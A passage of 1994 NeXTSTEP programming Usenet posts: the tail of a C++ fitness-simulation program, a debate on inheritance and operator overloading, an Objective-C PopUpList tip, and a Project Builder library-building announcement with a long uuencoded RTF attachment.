k; i++) x += this->getMember(i)->getFitness(); return (fitness=x); } float Individual::setFitness(float x) { return (fitness=x); } main() { const PATCHES = 1; const INDIVIDUALS = 10; Population pop(PATCHES); Patch *p = new Patch[PATCHES]; Individual *ind; int i, j; for (i = 0; i < PATCHES; i++, p++){ pop.addToArray(p); p->addToMax(INDIVIDUALS); ind = new Individual[INDIVIDUALS]; for (j = 0; j < INDIVIDUALS; j++, ind++){ p->addToArray(ind); ind->setFitness(j); } p->setFitness(0); } //fprintf(stderr, "Pop Fitness = %5.3f\n\n", pop.setFitness(0)); pop.deleteMember(0); } Hardware Configuration: Processor: MC680x0 (68040) Processor speed: 33 MHz Primary memory: 24.00 MB Hostname: alice -- -------------------------------------------------- Steven Frank | Dept. of Ecology and | Tel: 714-725-2244 Evolutionary Biology | Fax: 714-725-2181 Univ. of California | email: safrank@uci.edu Irvine, CA 92717 |
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb16.153525.8962@afs.com> Sender: greg@afs.com References: <CL58Gu.2sC@csn.org> Date: Wed, 16 Feb 1994 15:35:25 GMT In article <CL58Gu.2sC@csn.org> bediger@teal.csn.org (Bruce Ediger) writes: > dave@prim.demon.co.uk (Dave Griffiths) wrote: > > It seems to me that creating a heirarchy of inheritance may not be > > such a good idea. In fact it may do more harm than good. Inheritance > > encourages sloppy programming. It's much harder to produce a general > > solution than a particular one. Inheritance encourages a quick-fix > > mentality, rather than improving the super class to make it more > > flexible. > > On the whole, I agree with Dave Griffiths. For the most part, > subclassing is part of the problem, not part of the solution. One > level of subclassing is all that is useful, basically. Any more than > that, and the complexity gets too much to handle. I rarely take fellow programmers to task for ideas, but this is a crock. Should TextFields only be two levels off Object? And if so, in the following inheritance diagram, which class is compressible without causing an explosion of additional classes for related functionality in associated classes? Object -> Responder -> Control -> TextField This is not too complex for me. In fact, AFS has extended this (among other ways): TextField -> NumberField -> PriceField where validation and formatting rules, etc get progressively tighter, while preserving the essence of everything underneath. As with everything else in programming, good design is key. As Robert Micholson mentioned in a different article, good designs tend to subclass along "is-a" lines, whereas bad designs tend to be "has-a" oriented. But once you have established an acceptable and agreed-upon design, the logical implementation should follow where the design path leads. If that means *10* levels of subclassing, then so be it. I can handle it. > I predict that in 5 years or so, multiple inheritance, operator > overloading and deep levels of subclassing will all attain a status > similar to that of the "goto": something that can be done, but mostly > shouldn't be. Multiple inheritance is an ugly and potentially unmaintainable construct that seems to have been invented to overcome some of C++'s shortcomings. Except at the very lowest levels with small core objects that would typically be implemented as structs in C (NXRects are a good example), I have never seen an example of MI that could not be improved by reorganizing. Operator overloading is syntactic sugar, but it's pleasant-tasting in appropriate doses. One of the few things I miss in Objective-C. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb16.160308.1645@afs.com> Sender: Michael_Pizolato@afs.com References: <CL58Gu.2sC@csn.org> Date: Wed, 16 Feb 1994 16:03:08 GMT Bruce Ediger writes [snip] >I predict that in 5 years or so, multiple inheritance, operator >overloading and deep levels of subclassing will all attain a status >similar to that of the "goto": something that can be done, but >mostly shouldn't be. Doubful, mostly for reasons others have eloquently stated. However, regarding operator overloading, it is much more than syntactic sugar, it is core to programming at any level above assembler. You (_you_, who are reading this _right_now_) already use it in every program you write. One of the simplest examples: the multiplication symbol (*) is overloaded for char, int, float, and double, _in_C_ (let me repeat that, IN C, and in every other high-level language that ever was). Multiplication is, in the processor, fundamentally different for different numeric types, yet all these operations are represented by one symbol in the language. Objective-C has operator overloading in the sense that method names can be the same yet behave differently. That's not enough. Smalltalk allows overloading primitive operators for new classes. You can define the '*' operator to do matrix multiplication if you create a matrix class. Why not? I learned to multiply matricies using the same multiplication operator I use for numbers. Why does this matter? Because conceptually that's how humans understand multiplication. I don't think about the fact that '*' is overloaded, I just know that I can multiply numbers. It's an abstraction, and that's what high-level languages, and OOP in particular, are supposed to be so good at. Isn't OOP supposed to give us the greatest conceptual tool yet available to the programmer? Are we not supposed to be able to conceive of programs at a level that maps very closely to the way we view the world? Then why is the above kind of overloading missing in Objective-C? Why can't I define '*' if it makes sense for my object? There is no justifiable reason not to have full operator overloading in _any_ programming language. Thanx, Michael P.S. This doesn't mean I'd rather use C++, though. ;-) -- Michael_Pizolato@afs.com NeXTMail accepted
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: How do I get the tag of the selected item in a PopUpList? Message-ID: <1994Feb16.225825.9635@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2jt9t5$ndu@cmcl2.NYU.EDU> Date: Wed, 16 Feb 1994 22:58:25 GMT Remember that you're connecting to the "cover button" of the PopUpList and not the PopUpList itself in Interface Builder. Therefore, you need to get the target of the "cover button" which is the PopUpList. Now to get the tag of the currently selected cell, you need to get the item list matrix of the PopUpList and ask it what the tag of the selected cell is. Here's some example code: id popUpListCoverButton; - (int)popUpListTag { id popUpList; popUpList = [popUpListCoverButton target]; return [[[popUpList itemList] selectedCell] tag]; } Also, there are other ways to accomplish this same task which have been beat to death on this group. :-) Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2jt9t5$ndu@cmcl2.NYU.EDU> dario@voluptas (Dario Ringach) writes: > > This must be a FAQ. In spite of the good attempts by the documentation > I'm still confused and can't get the tag of a PopUpList which has been > connected using the IB. Can anyone help me? Thanks... > -- > Dario
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Building Libraries with Project Builder [RTF] Message-ID: <1994Feb17.015046.3230@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Thu, 17 Feb 1994 01:50:46 GMT Hello, For those of you interested in building libraries using Project Builder, the enclosed is a comprehensive solution to the problem. There are several approaches on the Net, but I think this one is cleanest; it requires no custom changes to Project Builder, supports libraries, debug builds, and Installer packages. The enclosed files will convert a standard Tool project into a library project. It includes modified Makefiles. Generally, a few small changes will have to be made to the Makefile.preamble, but they are obvious and localized to the top of the file. Buyers of Dolphin Kit will have this automatically installed, but it's easy to do so manually and I don't mind making this public, so here it is. Pardon the appearance that it was ripped out of a shipping product it was What is it? This is a fix which will make it possible to build libraries using Project Builder. This is done by using the standard Tool builder, installing a library.make makefile in your /LocalDeveloper directory, and supplying a modified Makefile.preamble to your projects. There are a couple of other, more complex solutions on the Net. I like this approach because it requires no modification to the Project Builder application itself. The library.make file provides a number of targets which don't exist in a standard Tool makefile. It's all hidden behind the easy of use of choosing tool, debug or install in Project Builder. If this approach is used with, for example, a project called DolphinKit, you will end up with a library called libDolphinKit.a and precompiled headers. The installation will copy the library, precompiled and standard headers, and documentation to appropriate directories. Check near the top of the preamble to find out where I like to have these things installed and change them according to your preferences. You can also build a libDolphinKit.debug.a and an Installer package using this system. How to use it? Enclosed are the details; this is a page pulled from the DolphinKit documentation, where the latest version of this Project Builder modification resides. Enjoy, and feel free to send a query to <info@dolphin.com> if you would like to learn more about DolphinKit. Footnotes If there's a problem, please let me know this hasn't been sent out widely, so it's conceivable. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!#;&5A<F9A8V4M4F5G=6QA M<CM<9C%<9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I< M<&%R9%QT>#4V,%QT>#$Q,C!<='@Q-C@P7'1X,C(T,%QT>#(X,#!<='@S,S8P M7'1X,SDR,%QT>#0T.#!<='@U,#0P7'1X-38P,%QF,%QB,%QI,%QU;&YO;F5< M9G,R.%QF8S!<8V8P($AE;&QO+%P*7`I&;W(@=&AO<V4@;V8@>6]U(&EN=&5R M97-T960@:6X@8G5I;&1I;F<@;&EB<F%R:65S('5S:6YG(%!R;VIE8W0@0G5I M;&1E<BP@=&AE(&5N8VQO<V5D(&ES(&$@8V]M<')E:&5N<VEV92!S;VQU=&EO M;B!T;R!T:&4@<')O8FQE;2X@(%1H97)E(&%R92!S979E<F%L(&%P<')O86-H M97,@;VX@=&AE($YE="P@8G5T($D@=&AI;FL@=&AI<R!O;F4@:7,@8VQE86YE M<W0[(&ET(')E<75I<F5S(&YO(&-U<W1O;2!C:&%N9V5S('1O(%!R;VIE8W0@ M0G5I;&1E<BP@<W5P<&]R=',@;&EB<F%R:65S+"!D96)U9R!B=6EL9',L(&%N M9"!);G-T86QL97(@<&%C:V%G97,N7`I<"E1H92!E;F-L;W-E9"!F:6QE<R!W M:6QL(*IC;VYV97)TNB!A('-T86YD87)D(%1O;VP@<')O:F5C="!I;G1O(&$@ M;&EB<F%R>2!P<F]J96-T+B`@270@:6YC;'5D97,@;6]D:69I960@36%K969I M;&5S+B`@1V5N97)A;&QY+"!A(&9E=R!S;6%L;"!C:&%N9V5S('=I;&P@:&%V M92!T;R!B92!M861E('1O('1H92!-86ME9FEL92YP<F5A;6)L92P@8G5T('1H M97D@87)E(&]B=FEO=7,@86YD(&QO8V%L:7IE9"!T;R!T:&4@=&]P(&]F('1H M92!F:6QE+B`@0G5Y97)S(&]F($1O;'!H:6X@2VET('=I;&P@:&%V92!T:&ES M(&%U=&]M871I8V%L;'D@:6YS=&%L;&5D+"!B=70@:70G<R!E87-Y('1O(&1O M('-O(&UA;G5A;&QYT&%N9"!)(&1O;B=T(&UI;F0@;6%K:6YG('1H:7,@<'5B M;&EC+"!S;R!H97)E(&ET(&ES+B`@4&%R9&]N('1H92!A<'!E87)A;F-E('1H M870@:70@=V%S(')I<'!E9"!O=70@;V8@82!S:&EP<&EN9R!P<F]D=6-TT&ET M('=A<[Q<"EP*"EQB(%=H870@:7,@:70_7`I<"@I<8C`@5&AI<R!I<R!A(&9I M>"!W:&EC:"!W:6QL(&UA:V4@:70@<&]S<VEB;&4@=&\@8G5I;&0@;&EB<F%R M:65S('5S:6YG(%!R;VIE8W0@0G5I;&1E<BX@(%1H:7,@:7,@9&]N92!B>2!U M<VEN9R!T:&4@<W1A;F1A<F0@5&]O;"!B=6EL9&5R+"!I;G-T86QL:6YG(&$@ M"EQI(&QI8G)A<GDN;6%K90I<:3`@(&UA:V5F:6QE(&EN('EO=7(@+TQO8V%L M1&5V96QO<&5R(&1I<F5C=&]R>2P@86YD('-U<'!L>6EN9R!A(&UO9&EF:65D M(`I<:2!-86ME9FEL92YP<F5A;6)L90I<:3`@('1O('EO=7(@<')O:F5C=',N M("!4:&5R92!A<F4@82!C;W5P;&4@;V8@;W1H97(L(&UO<F4@8V]M<&QE>"!S M;VQU=&EO;G,@;VX@=&AE($YE="X@($D@;&EK92!T:&ES(&%P<')O86-H(&)E M8V%U<V4@:70@<F5Q=6ER97,@;F\@;6]D:69I8V%T:6]N('1O('1H92!0<F]J M96-T($)U:6QD97(@87!P;&EC871I;VX@:71S96QF+EP*7`I4:&4@"EQI(&QI M8G)A<GDN;6%K90I<:3`@(&9I;&4@<')O=FED97,@82!N=6UB97(@;V8@=&%R M9V5T<R!W:&EC:"!D;VXG="!E>&ES="!I;B!A('-T86YD87)D(%1O;VP@;6%K M969I;&4N("!)="=S(&%L;"!H:61D96X@8F5H:6YD('1H92!E87-Y(&]F('5S M92!O9B!C:&]O<VEN9R"J=&]O;"RZ(*ID96)U9[H@;W(@JFEN<W1A;&RZ(&EN M(%!R;VIE8W0@0G5I;&1E<BY<"EP*268@=&AI<R!A<'!R;V%C:"!I<R!U<V5D M('=I=&@L(&9O<B!E>&%M<&QE+"!A('!R;VIE8W0@8V%L;&5D($1O;'!H:6Y+ M:70L('EO=2!W:6QL(&5N9"!U<"!W:71H(&$@;&EB<F%R>2!C86QL960@;&EB M1&]L<&AI;DMI="YA(&%N9"!P<F5C;VUP:6QE9"!H96%D97)S+B`@5&AE(&EN M<W1A;&QA=&EO;B!W:6QL(&-O<'D@=&AE(&QI8G)A<GDL('!R96-O;7!I;&5D M(&%N9"!S=&%N9&%R9"!H96%D97)S+"!A;F0@9&]C=6UE;G1A=&EO;B!T;R!A M<'!R;W!R:6%T92!D:7)E8W1O<FEE<RX@($-H96-K(&YE87(@=&AE('1O<"!O M9B!T:&4@<')E86UB;&4@=&\@9FEN9"!O=70@=VAE<F4@22!L:6ME('1O(&AA M=F4@=&AE<V4@=&AI;F=S(&EN<W1A;&QE9-!A;F0@8VAA;F=E('1H96T@86-C M;W)D:6YG('1O('EO=7(@<')E9F5R96YC97,N("!9;W4@8V%N(&%L<V\@8G5I M;&0@82!L:6)$;VQP:&EN2VET+F1E8G5G+F$@86YD(&%N($EN<W1A;&QE<B!P M86-K86=E('5S:6YG('1H:7,@<WES=&5M+EP*7`H*7&(@2&]W('1O('5S92!I M=#\*7&(P(%P*7`I%;F-L;W-E9"!A<F4@=&AE(&1E=&%I;',[('1H:7,@:7,@ M82!P86=E('!U;&QE9"!F<F]M('1H92!$;VQP:&EN2VET(&1O8W5M96YT871I M;VXL('=H97)E('1H92!L871E<W0@=F5R<VEO;B!O9B!T:&ES(%!R;VIE8W0@ M0G5I;&1E<B!M;V1I9FEC871I;VX@<F5S:61E<RX@($5N:F]Y+"!A;F0@9F5E M;"!F<F5E('1O('-E;F0@82!Q=65R>2!T;R`\:6YF;T!D;VQP:&EN+F-O;3X@ M:68@>6]U('=O=6QD(&QI:V4@=&\@;&5A<FX@;6]R92!A8F]U="!$;VQP:&EN M2VET+EP*7`H*>WM<3D=$;V-U;65N=#(R,C<@571I;&ET:65S+G)T9F0*,C(Q M.3@@32=95C`U/D)$.#DM)C@I1%DK3C,P+#0O1B$X(B<D(BTJ1R1"44A,-BLF M(RTR(2PG43%(5#HH8"%0(2$F(PI-(4A6,"A31R(P*492631(,"=6/V!*)"<C M44!0.2U4.SI.(25#041"+3`H+"HG-$I42BTF0S(I+$HW/$I4"DU*-2Y'8#`\ M-C,G+%!8/"HF-2LA,$PV2T9*/3Y"+D164BDB138Y+$HU.44O*DLO1%)93%(Z M+5954$-@)2,*33%`4#LO6U]*5SQ.5TM=7E]`8"PK5TPM)4@Q1#@W+"I81CDN M)DPI1%<[3D,P)#PN)E)6)RL[0#HB2"DJ1@I-4SPD-C1-6E0T.U,C/$!3*STL M2BPP,"U",DE85CA-6E`J-E4F04XT63U=*RQ&,"PB,C%$5CU,2"@G(2XF"DU= M0%,L1D@^4"HQ+29#2410.%Q*8"M'+D8C24]&+E](2%A@*$<C*5!2/$Y;/$4R M)"-13SM.5UXV0$(])E,*35\O.S$\3%I00CXF/B)?4%,\3%`S)T(O6T,T*RI) M/$4Q(4%$5CPX)3\F-C98-#(A13TY,4$T6&`C*$<Y0`I-0$A`439@."PD(2E8 M5D@P*D=&.D$C,R5$35U513A"(C8A1BLV3C`E.28U4R0T.40Y/%Q!8$!6-$<\ M1"8P"DU!)RHD1#`]0CE(4B%6(4(W53`D)SA&,EA,.2@T3U,D5S%11$!3+B(B M(R%0+5PP.#P^/$(Q44%%2%1@)R(*34(C)F`L+%HH*EPV,#!06%)1*2LC,C8K M1&`P*#%,3"8A,4%)3CLJ.#HF0DI27#PX.34L5R%@0$$I3B,F)@I-(E%0)5`P M.#LH)$%1.3DZ7"@[1D0G+"8Q6#`H-U9215`W1RU$/"0D)R=#*T)`+4)%+$XA M0%!:.5A7)#`C"DU#5R\\.38L.CU,)V!(6%T\8"M$,DDB+R9"8"PH3"U95B5: M5C)733A)2TLG/C9"3BQ.7UDZ2D53(B%)3$L*34,K6#XJ4DY/34$J.SI7/5(U M)4@[)58K/$%,+BPA+2956DA>)U`R,4Q,22,B6D5")2E%2BM06D10)"XY)`I- M)C5+65%`.#PS,S)7(4=!5#TV1C]/+B)9)#@Y1R@D,25$)"530BQ!*B=9.C%2 M5#0Z-RHR6#A(3$]32"<C"DU.-CLT/BHN(2X^64@F.DY.*4-01"54-DY9+ETT M(5=72SLK0C%$1%-20BLY-392+BPM/4(V2SI)7#%".R<*3296,S0L.#E@1"A& M+#I:5S`U3$A)(SE).D)*1D=(*$LJ2%PG8$=$33!*34Y65D)4-3M?*#9<-RA` M4",F4PI-)S9&,#PQ8"A"2"=0,4<B+#1'-B=55CI@,&`\.C,M.$%4*UU*-D=5 M1T-&5U`]3#X[2E<D32A@05!#3"4F"DTG-4HS0#<^/#LK6ULY25$K)6`S2#E& M0$\B."LZ-$`E3"U9+4<I8$$^)B@N2EHQ735$,%5(74%-5S1@2B(*355,)SDB M.#U'1#=$/5E;23HS-"4E)#4C3#(_1SD[73(A23T]1T!</SLZ)DHJ4#XP/#!, M*2%4*"(G)EXD/PI-(B8W0$PZ7T\Y/E$Y+E!"2DXE)%PG.BPM26!,*#Q844$I M,5$Z6DPY54]46$1`,#=5.F!=*D\_-4DX8%\B"DU7)D<T1SE/6$A<5BM-63E0 M3RLE.R9),%$R/#P[52(_2"U>230M(24D)$108$`Q14950#@P+BI<63LE(C,* M33A-,31!/EE=0U-=35PE5#HE*BY%5#I0)C-&-5A5*RQ(.3E&-"T^330S*TPX M3559-4Q$0R4B1D)'5$$[)0I-/2,R(R5%6TPM)"-*-$$T.%A8.%-`8&`J+%4N M(SI+,$1!(T@L,29-4BXE72$V+"PD7DXW*#)")3-%2D8V"DU)1"M<6BI!24M& M*3936#(V*C4A55I%+2(L54LA2B0V2C-()3!!,U0Z.#M?/&`D,#!<)%U52V`N M(4`I.#,*32%,-%DR,#E;4$XD.STG0%,D+S-005XC65<A3E9)0BA-7#!8+EPU M+"@B+#-`,%,Z,&`T6%8I*$`X0TE"1PI-6"]&)R-'-S`U5D@R)BP\/%M-(BY! M,E)#74Q","%75E4H-U<D-%DG3#8G+E8L)D!)(V`H3%!=0S8Z+$A4"DU!)%DM M0RA$0%4^.C`F0T,H.S(B)#Y)6UY72SQ98#5(1T`],TM7,BTA2"Q`0TU,5C(M M72PS(BU+)TDH*30*33,W6BQ*-5Q/(C]%(SA!2E$N-T0J.4U7.DXJ-B,V-2PL M0#<L,T=@22<A43XD.#-,1UA$04XX*CQ66$@F+0I-1BQ3(39`54]")%`^.4$H M7"9.4C5,4C@U2S!9,EI83DHD2B<S,B)"3"8\0D4B,S$K,%PP5#%8-%=2*#H^ M"DT\75-!)R<S)BQ06UXK)D(\*$5(-CD\,D-863$H-51)(R4Q0%%52E0Y*$<I M6SLT0T@P3U8F,T$C)#I563,*35):(S5&8"X[63HC4RDX24%*,SXK5CE07$XH M(CDM4#<A1TE224\_0RTS64M7-EE30EDD02<^7BA10B1$/0I-0SM80EU454,U M2E8^(BXG*"4I*51,62Y"1$DX65TU42,G7DI624]8+4A&.EU(4B=33B-9(BLT M12LP0"DA"DTG1B@W42LK3EPG(2]<*2]=5"<[-4(M.#$C/5,T-S@I8#@C5T9) M*#@L/EXH+T4\4R957#PL0D<L1SL^12L*35)1(3,E7%%4-U\T*UI-7C(N33Q: M52LV/D=43B-`)EM&1U-33#(T(EY`7%DI154\7%<P041'230M)2%/1@I-0"-= M1B%/+4Y)/3$R,E=$2B%97")=-F!/8#)13R$A3$<N*"55-"E)(U`Y*CA)(TQ; M0SY443`],#HG/"A0"DU$(T9$4&`U0#A!.E)=3D8X6%(S33A+."%$0%,T43)8 M2B<B)2=805`C/S914$1,139-2$(K6RI%12$X,3D*34I')$$M5C!8-E!87C$R M3E0G.$@N7E,V+SU`.R8G.$U"(D9!-E4N0D5-)D`F0UE(*#$V43!$/RU@(DTA M-0I-03L\5B<I)4PF)F!:)"E',DU:.454+E`\5"%@6S!06E)&.$PA4U8D5T); M7RX_33I//6`C,R%<+%A4*51)"DTZ53TP5%U8.%I$(2M4.C$A(UE+,RPH/C<L M55XZ.4$Z6"<N)2\Y*D);1BY664@P6E!2/BP[4D8X)SLH.2$*349%2S,V5RTZ M(CE'4U0X5%51*$8S6T!`*U8A24HK2D0B+$PM4EI.0T)/24LU/C`O*CI,4C8J M,UQ-)#8]*0I-4D52/E5)64,G,TTC*48K-5(Q)RY833,V)%<M+3I7)DA`4D13 M4B$F2"<X,2DU.SLR13D^0U,L/2141EY&"DTY*E-=240P5C,U7S52+$U15SU7 M5D,D)E\M.3U37C)14"]2755`7RM04B@O.TL[(6!(7T!+22Q&*C%"5D`*33`Z M3#$P62$]2UPQ7SHI,R(E62$P02)@,$@P0R(]1"@P1D4B)"$C0SI`+TU"5$DS M13)-/45-0R15,#0Q.PI-)BQ(.#1606!%5T,F1%8W4D8D/B8M0%5.(S`V.4=/ M.5A+*T5/1U156UDG,#TF.4=')S-"0$906TI90%9;"DU?/CE.3T`X(41@,$%3 M2B$A,"Q;(TP\1F`[7$(^1U\Z1BTZ6R4R.3XK,C0N-U@^,4DS4R@Z/#U(2RTI M4UT*345-,%%+5#A11#XL6%]+239;644Y.S@J24`S.E]/355&3EU83%4]+DHU M2E!#449.,5!*4S8W*C%042<J70I-6E4O629`,2<J*"@S1"%6)%4W5"%6*DPS M+4LF+4,^4"0A)B8P(T8T0T@[7%Q5*RI=33D^2E(D*#%)0R)="DTP2#TA.SHI M22DW)$HA6"LH+C1?,#Y6-S(Z)D(Y,5954TY<+B<^5SDL03)"7E-`,U)%+BE3 M/E%90RI+-S@*35,Y3T)25RU9+C=<)5I6)S%*+CDL5%I:34\[05,W.3\G65I8 M)DY-(BD[1S!(,BHD*#!702(D6F!06R8H/PI--E!)+D%;24Q&(R]572HF05I/ M1S,T12I33T\V3EA9*4LX(5\M/")`)S-@0R)(/"X^1TI'32Y>4%=/,#Y1"DU7 M5DI?/4U..5Q7.$(D7UH_+%D^.%,T1$A86%U>35\D75M7-T1$7F`D53`V(2(T M4UA003(^-&`T22,F)TL*32(^0S,H,#9>33M$*2%652$G)5M,-2Q=-RDZ/$8L M2U(Y74\J1C`M/TA<+CHP2%M5/SM<)3<X12Y#7BM#*PI-6#)"+25#-5A044TW M35=)+EQ@,S-$4CH_,%5%/U%0.B,]4E(E.5)(5#56)BI%5R\O15`X7%U70S(A M4RTP"DTD8#$C3&`Q(20G,3]()E,L14`A+5`F+#4Y)$E53%-0-E561B$A455+ M)&`Y-#4U0BM90S]&*58Z.4TE25P*34DP2STL,#A3)B-',RQ55U$H,5(G*%`Q M2DQ&/"]2)ULZ2%-4)T(C7RM054U*7$@H634W.DXM)4)(26!*-@I-33`Y1RPC M5#!144(P/#-!73!&/E0Q(U0E2#9"(U%!3T\]1$]"5%0\)D$B8$(Y5D`_.58Z M+CQ'4%(Y5T`U"DU2)#!7/5)2*R%3)#I:)T!575<L/R8H*$,V8#$_,"=5)EQ@ M,3\X8#!@5293+UU(*U)153Q?)B@P2"%%5E(*32E7)5$D12U;4$8N*C%'.3$^ M)%=;75@J+EDU4CI06"$Z(B(^+T@P3S!8*#E41&`^5RU7.V!!)$LP)$97.`I- M445".2E"(BDI14D[+%@]6#1$+%`M6"16/"=`-D(G+RX]5D\P45@E22@H0$`J M*"A$,F`U*3A@,29,*$(M"DU:)E%<(3A%1513-3,L1D(T3%%'+SI@,E9*(C8E M+48Z)RU@/DE%,#Y%2B([*SQ4.DM@4#118%@A634F7"$*35%6-4Y,8"XC12@P M+E8F/BQ5.#`F*B%275TH1U$E.$LQ*40B4C`X2D9)0CDZ*B$A1CA@.$XL(U5< M/$A7/`I-(BA4)4(G(5!-,C(H13A<)C(F*S98-UY)551-/310.#%5*$LT,%`] M-EA(358N)B\J15=#)%8D-5Y.*"8A"DTF)T4L1&`Q(BA@-2$H8#4Y-"@K*UE( M0S4F*2(Q4B(Q,EHF-D8E629:/%4K-"$H)5$Q6"%!.49!-U56-RL*35!5,C=) M)3E%524I(2@A138P1$))+#`^.E4Q5RXP4D`L4BA,7%(B,S8R)E8^638Y5S4Y M*RE!5T,Z/$@G)0I-4B=!7R8G5RE:*2A0*CDL5#XX0S4Q4#<W45`Q)$1@,D!= M5E!=.C53,RTR0U(F)4M9-55)6T!#65545C1)"DTU.#E31&`]3"53/#%>,"A< M*4`\3S@B/4,E64=47%A/*$%8/$<^.3A)2C<M2T(X4%]-5S(_*5D_-D%755<* M348Y/5Q9-TPB02=-7#(W35]"-UQ;*2E`7C8S/SI<4"DL7&`Y0S%0,44D(TDS M8$%83U@A3SLY0T]5.B0[10I-,35","0Q4C%`.$4E4C(Q*D(H7SI$53$K+$A, M24U8.$PE1%%"6"E*1$$T,R-)-&!@15-97SHW)C8^.#PT"DU&*45;5B=02D(V M3F`B)T10-%`Q.$PF43!08#(F,B=60SHY/5@R.%4L-$-3)S!3-U!2*50C35E) M7BXW(S8*34HW7D8E.4Y,+#E.53XY3EE>,4Y;(CE%)20F6RA$65<B2C$W)%HP M.R8N-D,I5C@A7"%()#%:.5%%8"E56PI-53@R,4`S7EPT659:/BE7.5$H(UDJ M-R(X2B<H.3$I.C@Z.3M#3C0U24XY*T=6."1+7#@G3C(P-28A65U4"DTR.4M3 M7C93/4`U4C)<-UU=/C%77BXZ*&`N24$_54E`)3)#1EA*.4])7#`I,#`C1R(T M.3<A4C-<,2Y*)R@*32XX(RH^.%PX5DE00$Y*)3LE250D(B(_+C8P/$(F24,X M)CE01U9)5S%=251&6CHK+"%:+T4^.%!-(C,O)PI-54`Q+RQ@-D)..B]2.CE) M.T9%*BLH.2E?3CH[6R8Z0DPV.C%()DHB)"XZ(EPP.4Y64CHP)RI#2EQ".4XG M"DTV.C<C2C8Q."9(.3HZ2B4K1BHE/U)*)#8N.51!7DE>-TQ3-$9.251(5D8W M/E(Z*T$B.CU(+CH^/38Z/$L*34PW5SU=5U5;-DD^13(Y7S0T5UTL4$%<+5%9 M721&2BI$5D5-*%Y)+"1>2D%,5"HP*%Y*,U1954<Q.#I$,`I-0DI$*3!*)CM. M25$]2D@Z/R9*.#U204U$(DHI1BY*4$5*250R12I)44Q*2#(^*49-+DA17$(H M)R8F*D]("DU>-DTA3&`Q)5`H0TX^.DQ<6DH_-BU&,2(^2D,B.DHR4$XZ02I" M2E,J*DI&,%HU6#U92B$V*DI7)THZ1B@*34Q:-#=&0U<X-D,W-UPZ4RQ1)STB M729944!$2R,N2#<Q64,^2C0F7"M2.DLA1B@_*UU:2CQ2.2M/3D(Y+PI-+&`S M5E9*/EHV1EA;,4-+,S4Z0&!6*4M>,DI0(B9+(4,A55\F76`I3"1++S->23PL M1BLC)2XZ53E62R(\"DU225`Q7EE3.B9*2STR25=`.DI+0B9(7",Y6EA(0%I8 M0RI965$R0BI00DLH5")`*$\F.2Q3-CDL1B(G6B\*328F5U$U4SE-445.+2TH M(UHB)T]7/%A&4"(D3UQ&)3%94%<C+$4W(DQ<-3<S,30Z/C18-3HP5$!6+2DQ M50I-3B0F2SU&8#@M,S$X329@/%TT)5HB)#<]-$4F)UI63$<N6BU-)C5@5"5$ M-4$B63Q52C-),D1@,CQ=4#$P"DTP8#4S1&`A+T`C5CA*)EPT5C1.5#TC5#4A M441-)"M"4F!0*4!@6#E1+$952R)82%XI.T1>0%M`*4U+0D$*351+0E%=2T)3 M)4M$5RU"33DD(TU4,5)`.U543EQ2(C$H0592/5%7,RD]22P\2CHH64I35$4M M4C8R)4E430I--496(DU2/EQ,5%9<2#!+12E#05`\1EPK4C$D)UE8.5=24STL M3$0C0%U'6E8^53A.5BH[-5)*-#`V5R1:"DTV,SHA-51?5"HI5E@X5D)?1C9" M*RE)(2%5)C@[*58]*%`C1"<J0#TC33M=3EHC.TE<.#E86"8\,CI+,C`*35@S M2E<H5U,Y,4=16SU;(4986$L\,C<[3E%6,"A-4T)@(2%95U%)+3,B25!(4"14 M-%U;)F!)*UE(+"-5-0I-2BL]63DJ-DA2-S\W63L[/#I(8$)&,UE4)"A-*D4T M/%,Y,#M`1#(C+S9(-2<N-CLK.#`Y4%DR/44E1RE8"DTX5S=82%,V+"@R(B5* M5%Q6441?,EA$)R1&6T<F-E4A4E0R/%5&6#A`.&`H5RDH+%1&)#$^4RM--$$F M(30*34DF(R$N4DHV6#9@-"U,.$1-,2LO144J)TTE*UDR141"6R,Y.%17(49< M)$\A(21#(UTF5V!:13<L5%DN5`I-16`_*RPS5B)95R)&34@O4U4C-4@O*C$H M6RPY-"TT(D)8-D4R-BDP/DI#/U!26E8F5DE<22Y&5U8J-ELJ"DTA*RTP)4LR M(TU"/3I@6D)-+EI"2"I(7RI=*BQ/2R11-4XB,4!,6%1:7R=.6%582S\H-CU# M6B%=144E,#0*32,A6V`A*E%`)C0P72XS4%9&)RH\3RQ+*S0U/D`O)EDD43I4 M,5TD0#15)$Y#4B-&.DE#0S5$,S9?0#0D*`I-0#<O.RDT-"8Q2T0Y6BLV-R); M1$LP,#!+-E`W+%E`,51:.%$O6&`P*5@I,3XE,CQ-(3I2.C$X,C%@6%I/"DTQ M45-,+4Q5734S+54I+$Q27ED\/4U:7RA!-D527%%.)%!$5UY2)$$U-#I65BX\ M32LM1R%-2"@I2CTA(TH*33\E.3]=.E174ELF/E@[)%\J72A30EA$3U0E*4Y@ M72547&`T-B55,TH]2T\Q3$<_(UA44#57-3]))#Q7.@I-(R-0/"@S42%=+$LH M3%(^2B0M+#,O-D!>.E9;0SDC0EHH+#PW73M-)2A;4B917#U"02TU6"@L7TTR M3%]2"DU7+#Q7/2=5)4`J+T`E4#)7/2,X+E<Y+#(S/$XX3B(]32%*4C-10C)> M)RHR5SA=*")004)?1DLE,%9=*$H*35I+)3%.05%:-STO/CTM+%9$72\^2C!- M(2$].34U+#]@4E8A/4\W4R4F6CTS429*3C5+14PV/3E"/2H]60I-6D<Q35,Q 